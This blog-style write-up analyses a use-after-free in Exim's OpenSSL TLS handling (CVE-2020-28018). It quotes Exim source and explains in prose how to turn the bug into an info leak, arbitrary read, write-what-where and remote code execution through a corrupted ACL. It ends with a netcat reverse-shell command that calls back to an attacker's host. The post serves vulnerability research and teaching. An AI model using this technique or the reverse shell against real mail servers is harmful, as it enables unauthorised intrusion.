From theory to practice: analysis and PoC development for CVE-2020-28018 (Use-After-Free in Exim)

Dear Fellowlship, today’s homily is about building a PoC for one of the vulnerabilities published by Qualys in Exim. Please, take a seat and listen to the story.

Introduction

Qualys recently released an advisory named “21Nails” with 21 vulnerabilities discovered in Exim, some leading to LPE and RCE.

This post will analyze one of those vulnerabilities with CVE ID: CVE-2020-28018.

The vulnerability is a Use-After-Free (UAF) vulnerability on tls-openssl.c, that leads to Remote Code Execution.

This vulnerability is really powerful as it allows an attacker to craft important primitives to bypass memory protections like PIE or ASLR.

The primitives that this vulnerability can achieve are the following:

  • Info Leak: Leak heap pointers to bypass ASLR
  • Arbitrary read: Read arbitrary number of bytes on arbitrary location
  • write-what-where: Write arbitrary data on arbitrary locations

As you can see, those primitives are just what a remote attacker needs to bypass security protections.

First for this vulnerability to be triggered and exploited some requirements need to be met:

  • TLS is enabled
  • Instead of GnuTLS (the default unfortunately) OpenSSL has to be enabled.
  • The exim running is one of the vulnerable versions
  • X_PIPE_CONNECT should be disabled

First, to understand why does this vulnerability exists and how to exploit it, we need to understand the behaviour of the Exim Pool Allocator and the growable strings Exim uses.

Exim Pool Allocator

Exim pool allocator has different pools:

  • POOL_PERM: Allocations that are not released until the process finishes
  • POOL_MAIN: Allocations that can be freed
  • POOL_SEARCH: Lookup storage

A pool is a linked list of storeblock structures starting from the chainbase.

typedef struct storeblock {
  struct storeblock *next;
  size_t length;
} storeblock;

We can see it contains two entries:

  • next: Pointer to the next block within the linked list.
  • length: Length of current block.
void *
store_get_3(int size, const char *filename, int linenumber)
{

if (size % alignment != 0) size += alignment - (size % alignment);

if (size > yield_length[store_pool])
  {
  int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
  int mlength = length + ALIGNED_SIZEOF_STOREBLOCK;
  storeblock * newblock = NULL;

  if (  (newblock = current_block[store_pool])
     && (newblock = newblock->next)
     && newblock->length < length
     )
    {
    /* Give up on this block, because it's too small */
    store_free(newblock);
    newblock = NULL;
    }

  if (!newblock)
    {
    pool_malloc += mlength;           /* Used in pools */
    nonpool_malloc -= mlength;        /* Exclude from overall total */
    newblock = store_malloc(mlength);
    newblock->next = NULL;
    newblock->length = length;
    if (!chainbase[store_pool])
      chainbase[store_pool] = newblock;
    else
      current_block[store_pool]->next = newblock;
    }

  current_block[store_pool] = newblock;
  yield_length[store_pool] = newblock->length;
  next_yield[store_pool] =
    (void *)(CS current_block[store_pool] + ALIGNED_SIZEOF_STOREBLOCK);
  (void) VALGRIND_MAKE_MEM_NOACCESS(next_yield[store_pool], yield_length[store_pool]);
  }


store_last_get[store_pool] = next_yield[store_pool];

...

next_yield[store_pool] = (void *)(CS next_yield[store_pool] + size);
yield_length[store_pool] -= size;

return store_last_get[store_pool];
}

When store_get() is called it first checks if there is enough space on the current block to satisfy the request.

If there is space, the yield pointer is updated and a pointer to the memory is returned to the caller funcion.

If there is no space it checks if there is a free block, and then at the last try, call malloc() to satisfy the request (the requirement is a minimum of STORE_BLOCK_SIZE, if less than that, it will be used as the size for the allocation).

Finally the new block is added to the pool linked list.

void
store_reset_3(void *ptr, const char *filename, int linenumber)
{
storeblock * bb;
storeblock * b = current_block[store_pool];
char * bc = CS b + ALIGNED_SIZEOF_STOREBLOCK;
int newlength;

store_last_get[store_pool] = NULL;

if (CS ptr < bc || CS ptr > bc + b->length)
  {
  for (b = chainbase[store_pool]; b; b = b->next)
    {
    bc = CS b + ALIGNED_SIZEOF_STOREBLOCK;
    if (CS ptr >= bc && CS ptr <= bc + b->length) break;
    }
  if (!b)
    log_write(0, LOG_MAIN|LOG_PANIC_DIE, "internal error: store_reset(%p) "
      "failed: pool=%d %-14s %4d", ptr, store_pool, filename, linenumber);
  }


newlength = bc + b->length - CS ptr;

...

(void) VALGRIND_MAKE_MEM_NOACCESS(ptr, newlength);
yield_length[store_pool] = newlength - (newlength % alignment);
next_yield[store_pool] = CS ptr + (newlength % alignment);
current_block[store_pool] = b;


if (yield_length[store_pool] < STOREPOOL_MIN_SIZE &&
    b->next &&
    b->next->length == STORE_BLOCK_SIZE)
  {
  b = b->next;
  
...

  (void) VALGRIND_MAKE_MEM_NOACCESS(CS b + ALIGNED_SIZEOF_STOREBLOCK,
		b->length - ALIGNED_SIZEOF_STOREBLOCK);
  }

bb = b->next;
b->next = NULL;

while ((b = bb))
  {
  
...

  bb = bb->next;
  pool_malloc -= b->length + ALIGNED_SIZEOF_STOREBLOCK;
  store_free_3(b, filename, linenumber);
  }

...

}

Store reset performs a reset / free given a reset point. All subsequent blocks to the block that contains the reset_point will be freed. And finally the yield pointer will be restored within the same block.

BOOL
store_extend_3(void *ptr, int oldsize, int newsize, const char *filename,
  int linenumber)
{
int inc = newsize - oldsize;
int rounded_oldsize = oldsize;

if (rounded_oldsize % alignment != 0)
  rounded_oldsize += alignment - (rounded_oldsize % alignment);

if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) ||
    inc > yield_length[store_pool] + rounded_oldsize - oldsize)
  return FALSE;

...

if (newsize % alignment != 0) newsize += alignment - (newsize % alignment);
next_yield[store_pool] = CS ptr + newsize;
yield_length[store_pool] -= newsize - rounded_oldsize;
(void) VALGRIND_MAKE_MEM_UNDEFINED(ptr + oldsize, inc);
return TRUE;
}

As we will see later on gstrings, this function tries to extend memory in the same block if there space is available.

Exim gstring’s

Exim uses something called gstrings as a growable string implementation.

This is the structure that defines it:

typedef struct gstring {
   int size;
   int ptr;
   uschar *s;
} gstring;
  • size: string buffer size.
  • ptr: offset to the last character on the string buffer.
  • uschar *s: defines a pointer to the string buffer.

When we want to get a string we can use string_get():

gstring *
string_get(unsigned size)
{
gstring * g = store_get(sizeof(gstring) + size);
g->size = size;
g->ptr = 0;
g->s = US(g + 1);
return g;
}

It uses store_get() to allocate a buffer.

At gstring initialization, the string buffer is right after the struct.

When we want to enter data into the growable string:

gstring *
string_catn(gstring * g, const uschar *s, int count)
{
int p;

if (!g)
  {
  unsigned inc = count < 4096 ? 127 : 1023;
  unsigned size = ((count + inc) &  ~inc) + 1;
  g = string_get(size);
  }

p = g->ptr;
if (p + count >= g->size)
  gstring_grow(g, p, count);

memcpy(g->s + p, s, count);
g->ptr = p + count;
return g;
}

string_catn() checks first if there is enough size, if not, calls gstring_grow().

static void
gstring_grow(gstring * g, int p, int count)
{
int oldsize = g->size;

unsigned inc = oldsize < 4096 ? 127 : 1023;
g->size = ((p + count + inc) & ~inc) + 1;

if (!store_extend(g->s, oldsize, g->size))
  g->s = store_newblock(g->s, g->size, p);
}

It first tries to extend the memory chunk within the same pool block. If failed, then a new block is allocated and the g->s pointer is replaced with the new buffer.

Exim Access Control Lists (ACLs)

Access Control Lists (ACLs) is a type of configuration that allows you to change the behaviour of a server when receiving SMTP commands.

ACLs have been a good way to achieve code execution when exploiting Exim vulnerabilities since a long time.

There is an specific ACL name called run which allows you to run a command.

Sample: ${run{ls -la}}

This specific ACL is the one used when exploiting this vulnerability to execute code remotely.

Root cause

Understanding now how growable strings, the Exim pool allocator and ACL’s work, let’s analyze the root cause of this vulnerability.

In tls-openssl.c, on tls_write():

int
tls_write(void * ct_ctx, const uschar *buff, size_t len, BOOL more)
{
int outbytes, error, left;
SSL * ssl = ct_ctx ? ((exim_openssl_client_tls_ctx *)ct_ctx)->ssl : server_ssl;
static gstring * corked = NULL;

DEBUG(D_tls) debug_printf("%s(%p, %lu%s)\n", __FUNCTION__,
  buff, (unsigned long)len, more ? ", more" : "");

/* Lacking a CORK or MSG_MORE facility (such as GnuTLS has) we copy data when
"more" is notified.  This hack is only ok if small amounts are involved AND only
one stream does it, in one context (i.e. no store reset).  Currently it is used
for the responses to the received SMTP MAIL , RCPT, DATA sequence, only. */
/*XXX + if PIPE_COMMAND, banner & ehlo-resp for smmtp-on-connect. Suspect there's
a store reset there. */

if (!ct_ctx && (more || corked))
  {
#ifdef EXPERIMENTAL_PIPE_CONNECT
  int save_pool = store_pool;
  store_pool = POOL_PERM;
#endif

  corked = string_catn(corked, buff, len);

#ifdef EXPERIMENTAL_PIPE_CONNECT
  store_pool = save_pool;
#endif

  if (more)
    return len;
  buff = CUS corked->s;
  len = corked->ptr;
  corked = NULL;
  }

for (left = len; left > 0;)
  {
  DEBUG(D_tls) debug_printf("SSL_write(%p, %p, %d)\n", ssl, buff, left);
  outbytes = SSL_write(ssl, CS buff, left);
  error = SSL_get_error(ssl, outbytes);
  DEBUG(D_tls) debug_printf("outbytes=%d error=%d\n", outbytes, error);
  switch (error)
    {
    case SSL_ERROR_SSL:
      ERR_error_string_n(ERR_get_error(), ssl_errstring, sizeof(ssl_errstring));
      log_write(0, LOG_MAIN, "TLS error (SSL_write): %s", ssl_errstring);
      return -1;

    case SSL_ERROR_NONE:
      left -= outbytes;
      buff += outbytes;
      break;

    case SSL_ERROR_ZERO_RETURN:
      log_write(0, LOG_MAIN, "SSL channel closed on write");
      return -1;

    case SSL_ERROR_SYSCALL:
      log_write(0, LOG_MAIN, "SSL_write: (from %s) syscall: %s",
	sender_fullhost ? sender_fullhost : US"<unknown>",
	strerror(errno));
      return -1;

    default:
      log_write(0, LOG_MAIN, "SSL_write error %d", error);
      return -1;
    }
  }
return len;
}

This function is the one that send responses to the client when a TLS session is active.

corked is an static pointer, it can be used within different calls.

more with type BOOL is a way to specify if there is more data to buffer or we can return the data to the user.

In case more data needs to be copied, len is returned. Else, corked is NULLed out and the corked->s contents is returned to the client.

This means that we might be able to trigger a Use-After-Free condition in case corked somehow does not get NULLed, and after a call to smtp_reset is performed, the content pointed to by corked will be freed.

If reaching tls_write() again, we will use the buffer after free.

How can we put the server in that situation?

First we initialize a connection to the server, and send EHLO and STARTTLS to start a new TLS Session so we can enter tls_write() on responses.

If we send either RCPT TO or MAIL TO pipelined with a command like NOOP. And we send just a half of the NOOP (NO), and then we close the TLS Session to get back to plaintext to send the other half (OP\n), we will be returning to plaintext and as more = 1 the corked pointer won’t be NULLed.

Now sending a command like EHLO will end up calling smtp_reset(), which will free all the subsequent heap chunks, and retore the yield pointer to reset_point.

On the whole exploitation process we are dealing mostly with the POOL_MAIN pool.

We have a static variable containing a pointer to the middle of a buffer that has been freed. We need to use it to trigger a UAF.

To use it, we need to return to a TLS connection, so we can use tls_write() again.

We send STARTTLS to start a new TLS Session and finally send any command. When the server crafts the response on tls_write(), corked will be used after free.

When I first triggered the bug, a function from OpenSSL lib used my freed buffer and entered binary data, resulting on a SIGSEGV interruption due to an invalid memory address for corked->s:

gef➤  p *corked
$1 = {
  size = 0x54595c9c, 
  ptr = 0xa7e800ba, 
  s = 0x7e35043433160bd3 <error: Cannot access memory at address 0x7e35043433160bd3>
}
gef➤  p corked
$2 = (gstring *) 0x555ad3be1b58
gef➤  

Info leak

Most memory corruption exploits will need nowadays a memory leak to succeed and bypass mitigations like ASLR, PIE and many more.

As mentioned, this Use-After-Free itself allows a remote attacker to retrieve heap pointers.

As the buffer is freed, other functions will start using it, like functions that write heap pointers to the heap.

On responses, NULL bytes are allowed when on a TLS Session. We just need the heap addresses to be leaked be entered in a range of memory from corked->s to corked->s + corked->ptr.

If the address is on that range, it will be returned to the client.

How can we make heap addresses written in that range?

Apart from doing some tests and debugging to see where to move our buffer and how, an interesting trick is pipelining RCPT TO commands together to increase the response buffer string. It will force string_catn() to call gstring_grow(), which will allocate the string buffer somewhere else.

This will help us to overwrite the string buffer but not the gstring struct itself.

Arbitrary Read

Once we have a memory leak, we might start a search of the exim ACL’s, once we identify the address where the ACL is located we can write to it to finally achieve code execution.

To do so, we need to craft somehow an arbitrary read primitive that let us read memory from heap.

Thanks to this Use-After-Free, grooming the heap, we can overwrite the gstring struct, this would allow us to control:

  • corked->size: size of string buffer
  • corked->ptr: offset to last byte written
  • corked->s: pointer to string buffer

Having this, on next tls_write(), arbitrary number of bytes from an arbitrary location will be sent to us when trying to access corked->s.

What about NULLs? They are strings right?

Nope! The responses are returned to the client through SSL_write(), so no problems with NULLs, the limit is corked->ptr which is controlled :).

With this technique we can read any memory we want from heap, so we can iterate over memory blocks until finding the configuration via specific query to search for.

How do I overwrite gstring struct?

First we need to align the heap in such way that we can successfully reuse the target chunk.

In smtp_setup_msg() we depend on the initial reset_point.

To avoid this…reading the handle_smtp_call() we can see there is a way to increase reset_point as initial value on smtp_setup_msg().

  if (!smtp_start_session())
    {
    mac_smtp_fflush();
    search_tidyup();
    _exit(EXIT_SUCCESS);
    }

  for (;;)
    {
    int rc;
    message_id[0] = 0;            /* Clear out any previous message_id */
    reset_point = store_get(0);   /* Save current store high water point */

    DEBUG(D_any)
      debug_printf("Process %d is ready for new message\n", (int)getpid());

    /* Smtp_setup_msg() returns 0 on QUIT or if the call is from an
    unacceptable host or if an ACL "drop" command was triggered, -1 on
    connection lost, and +1 on validly reaching DATA. Receive_msg() almost
    always returns TRUE when smtp_input is true; just retry if no message was
    accepted (can happen for invalid message parameters). However, it can yield
    FALSE if the connection was forcibly dropped by the DATA ACL. */

    if ((rc = smtp_setup_msg()) > 0)
      {
      BOOL ok = receive_msg(FALSE);
      search_tidyup();                    /* Close cached databases */
      if (!ok)                            /* Connection was dropped */
        {
	cancel_cutthrough_connection(TRUE, US"receive dropped");
        mac_smtp_fflush();
        smtp_log_no_mail();               /* Log no mail if configured */
        _exit(EXIT_SUCCESS);
        }
      if (message_id[0] == 0) continue;   /* No message was accepted */
      }
    else
      {
      if (smtp_out)
	{
	int i, fd = fileno(smtp_in);
	uschar buf[128];

	mac_smtp_fflush();
	/* drain socket, for clean TCP FINs */
	if (fcntl(fd, F_SETFL, O_NONBLOCK) == 0)
	  for(i = 16; read(fd, buf, sizeof(buf)) > 0 && i > 0; ) i--;
	}
      cancel_cutthrough_connection(TRUE, US"message setup dropped");
      search_tidyup();
      smtp_log_no_mail();                 /* Log no mail if configured */

      /*XXX should we pause briefly, hoping that the client will be the
      active TCP closer hence get the TCP_WAIT endpoint? */
      DEBUG(D_receive) debug_printf("SMTP>>(close on process exit)\n");
      _exit(rc ? EXIT_FAILURE : EXIT_SUCCESS);
      }

We can see that there is a possibility to return back to smtp_setup_msg() with an increased reset_point.

When reading a message, the return value ok must be true, but we, somehow need to make message_id[0] == 0. This happen on an specific situation.

Let’s read the receive_msg() code:

  /* Handle failure due to a humungously long header section. The >= allows
  for the terminating \n. Add what we have so far onto the headers list so
  that it gets reflected in any error message, and back up the just-read
  character. */

  if (message_size >= header_maxsize)
    {
OVERSIZE:
    next->text[ptr] = 0;
    next->slen = ptr;
    next->type = htype_other;
    next->next = NULL;
    header_last->next = next;
    header_last = next;

    log_write(0, LOG_MAIN, "ridiculously long message header received from "
      "%s (more than %d characters): message abandoned",
      f.sender_host_unknown ? sender_ident : sender_fullhost, header_maxsize);

    if (smtp_input)
      {
      smtp_reply = US"552 Message header is ridiculously long";
      receive_swallow_smtp();
      goto TIDYUP;                             /* Skip to end of function */
      }

    else
      {
      give_local_error(ERRMESS_VLONGHEADER,
        string_sprintf("message header longer than %d characters received: "
         "message not accepted", header_maxsize), US"", error_rc, stdin,
           header_list->next);
      /* Does not return */
      }
    }

If on a message, we send a really long line (no \n’s on it) surpassing header_maxsize, an error happens.

Despite being an error, ok on return is true, but message_id[0] contains 0 :)

This means on handle_smtp_call() we will follow the continue and return back to smtp_setup_msg() with an increased reset_point.

Qualys did the corrupting of the struct with AUTH parameter (part of ESMTP parameters).

It is a good way to overwrite as it allows you to encode binary data as strings with xtext. That string will be decoded as binary data on writing to the allocated buffer.

Though, I did not followed that way. I used the message channel itself to send binary data, and I had no problems with it.

So I was able to overwrite the struct through a message and control all the parameters in the struct.

Write-what-where

We now know the address where the target configuration is stored.

By using the same technique I used for overwriting the target gstring struct, we can do the same but to craft a write-what-where primitive.

This time corked->size must be a high value. corked->ptr must be zero in order to start writing response on corked->s directly.

corked->s will contain the address where we want to write the response of our command triggering the UAF.

Once we overwrite the gstring struct with such values, we need to trigger the Use-After-Free initializing again a TLS Session.

We send an invalid MAIL FROM command so part of our command is returned on the response, which allows us to write arbitrary data.

Achieving Remote Code Execution

ACL is overwritten by our custom command, how do we make it be executed?

Once the ACL is corrupted, in this case I overwrote the ACL corresponding to MAIL FROM commands, we need to make that ACL being interpreted by expand_cstring(). To do so, after the MAIL FROM we used to overwrite the ACL we can pipeline another command (MAIL FROM too as the previous one failed) which will make the ACL being passed to expand_cstring() and the command will finally be executed.

I had a problem with max arguments. I could not nc -e/bin/sh <ip> <port>, just two args were allowed. So I used this as command: /bin/sh -c 'nc -e/bin/sh <ip> <port>'.

Now it won’t give us max_args problem and the command will be executed, resulting on a reverse shell:

RCE_Screenshot

EoF

The full exploit can be found here.

We hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC.

updated_at 14-05-2021